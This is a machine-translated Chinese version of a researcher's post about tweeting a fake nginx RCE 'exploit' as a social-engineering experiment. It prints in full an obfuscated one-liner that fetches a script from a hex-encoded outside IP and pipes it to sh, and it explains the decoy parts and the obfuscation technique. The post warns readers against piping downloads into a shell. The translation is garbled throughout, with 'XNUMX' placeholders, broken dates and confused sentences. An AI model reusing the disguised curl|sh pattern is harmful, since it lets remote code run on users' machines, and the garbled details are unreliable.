利用假 nginx 漏洞进行社会实验的成功

笔记。 翻译。: 作者 1月XNUMX日发表的原始笔记决定在对信息安全感兴趣的人中进行一个实验。 为此,他针对网络服务器中未公开的漏洞准备了一个虚假的漏洞利用程序,并将其发布在他的 Twitter 上。 他的假设——立即被那些会看到代码中明显欺骗的专家揭穿——不仅没有实现……它们超出了所有人的预期,而且朝着相反的方向发展:这条推文得到了许多人的大力支持,而他们并没有这样做。检查其内容。

利用假 nginx 漏洞进行社会实验的成功

TL;DR:在任何情况下都不要在 sh 或 bash 中使用文件管道。 这是失去对计算机控制的好方法。

我想与大家分享一个关于 31 月 XNUMX 日创作的漫画 PoC 漏洞的小故事。 他立即现身回应消息 阿莉萨·埃萨奇·舍甫琴科, 成员 零日倡议 (ZDI),有关 NGINX 中导致 RCE(远程代码执行)的漏洞的信息将很快被披露。 由于 NGINX 为许多网站提供支持,这个消息肯定是一个重磅炸弹。 但由于“负责任的披露”流程的延误,所发生事件的细节尚不清楚——这是 ZDI 的标准程序。

利用假 nginx 漏洞进行社会实验的成功
鸣叫 关于NGINX漏洞披露

在完成了curl中新的混淆技术的研究后,我引用了原始推文并“泄露了一个工作PoC”,其中包含一行代码,据称该代码利用了已发现的漏洞。 当然,这完全是无稽之谈。 我以为我会立即暴露,并且最多我会得到一些转发(哦,好吧)。

利用假 nginx 漏洞进行社会实验的成功
鸣叫 带有虚假漏洞

然而,我无法想象接下来发生的事情。 我的推文人气飙升。 令人惊讶的是,目前(莫斯科时间15月00日1:XNUMX)很少有人意识到这是假的。 许多人根本没有检查就转发了它(更不用说欣赏它输出的可爱的 ASCII 图形了)。

利用假 nginx 漏洞进行社会实验的成功
看看它多么美丽!

虽然所有这些循环和颜色都很棒,但很明显,人们必须在计算机上运行代码才能看到它们。 幸运的是,浏览器以同样的方式工作,再加上我真的不想陷入法律麻烦,埋在我的网站中的代码只是进行回显调用,而不尝试安装或执行任何其他代码。

一个小题外话: 网络幽灵, DNZ、我和团队中的其他人 暴徒 一段时间以来,我们一直在尝试不同的方法来混淆curl命令,因为它很酷……而且我们是极客。 netspooky 和 ​​dnz 发现了几种对我来说非常有希望的新方法。 我也加入其中,尝试将 IP 十进制转换添加到这一系列技巧中。 原来IP也可以转换为十六进制格式。 此外,curl 和大多数其他 NIX 工具很乐意使用十六进制 IP! 因此,只需创建一个令人信服且看起来安全的命令行即可。 最终我选择了这个:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

社会电子工程 (SEE) 不仅仅是网络钓鱼

安全性和熟悉度是这个实验的主要部分。 我认为他们是他成功的原因。 命令行通过引用“127.0.0.1”(众所周知的本地主机)明确暗示了安全性。 本地主机被认为是安全的,其上的数据永远不会离开您的计算机。

熟悉度是实验的第二个关键 SEE 组成部分。 由于目标受众主要由熟悉计算机安全基础知识的人组成,因此创建代码以使其中的某些部分看起来熟悉和熟悉(因此安全)非常重要。 借用旧的漏洞利用概念的元素并以不寻常的方式将它们结合起来已被证明是非常成功的。

下面就来详细分析一下单行本。 这份清单上的所有东西都穿着 化妆品性质,并且其实际操作几乎不需要任何东西。

哪些组件是真正必要的? 这 -gsS, -O 0x0238f06a, |sh 以及网络服务器本身。 Web 服务器不包含任何恶意指令,只是使用命令提供 ASCII 图形 echo 在包含的脚本中 index.html。 当用户输入一行时 |sh 在中间, index.html 加载并执行。 幸运的是,网络服务器的管理员并没有恶意。

  • ../../../%00 ——代表超越目录;
  • ngx_stream_module.so — 随机 NGINX 模块的路径;
  • /bin/sh%00<'protocol:TCP' - 据说我们正在推出 /bin/sh 在目标机器上并将输出重定向到 TCP 通道;
  • -O 0x0238f06a#PLToffset - 秘方,补充 #PLToffset,看起来像是 PLT 中以某种方式包含的内存偏移量;
  • |sh; - 另一个重要的片段。 我们需要将输出重定向到 sh/bash,以便执行来自位于以下位置的攻击 Web 服务器的代码: 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat 所指的虚拟对象 /dev/tcp/localhost这样一切看起来又安全了。 事实上,它什么也没做,只是为了美观而被列入其中。

一行脚本的解码和“社会电子工程”(复杂的网络钓鱼)方面的讨论到此结束。

Web服务器配置及对策

由于我的绝大多数订阅者都是信息安全/黑客,我决定让网络服务器对他们的“兴趣”表达更有抵抗力,这样他们就可以有事可做(而且这会很有趣)设置)。 由于实验仍在进行中,我不会在这里列出所有陷阱,但以下是服务器所做的一些事情:

  • 主动监控某些社交网络上的分发尝试,并替换各种预览缩略图以鼓励用户单击链接。
  • 将 Chrome/Mozilla/Safari/etc 重定向到 Thugcrowd 宣传视频,而不是显示 shell 脚本。
  • 监视明显的入侵/公然黑客行为迹象,然后开始将请求重定向到 NSA 服务器(哈!)。
  • 在用户通过常规浏览器访问主机的所有计算机上安装特洛伊木马以及 BIOS Rootkit(开个玩笑!)。

利用假 nginx 漏洞进行社会实验的成功
一小部分反剂

在这种情况下,我唯一的目标是掌握 Apache 的一些功能 - 特别是重定向请求的很酷的规则 - 我想:为什么不呢?

NGINX 漏洞利用(真实!)

订阅 @alisaesage 在 Twitter 上关注 ZDI 在解决 NGINX 中非常实际的漏洞和利用机会方面所做的出色工作。 他们的工作一直让我着迷,我很感谢爱丽丝对我愚蠢的推文引起的所有提及和通知的耐心。 幸运的是,它也做了一些好事:它有助于提高人们对 NGINX 漏洞以及滥用curl引起的问题的认识。

来源: habr.com

添加评论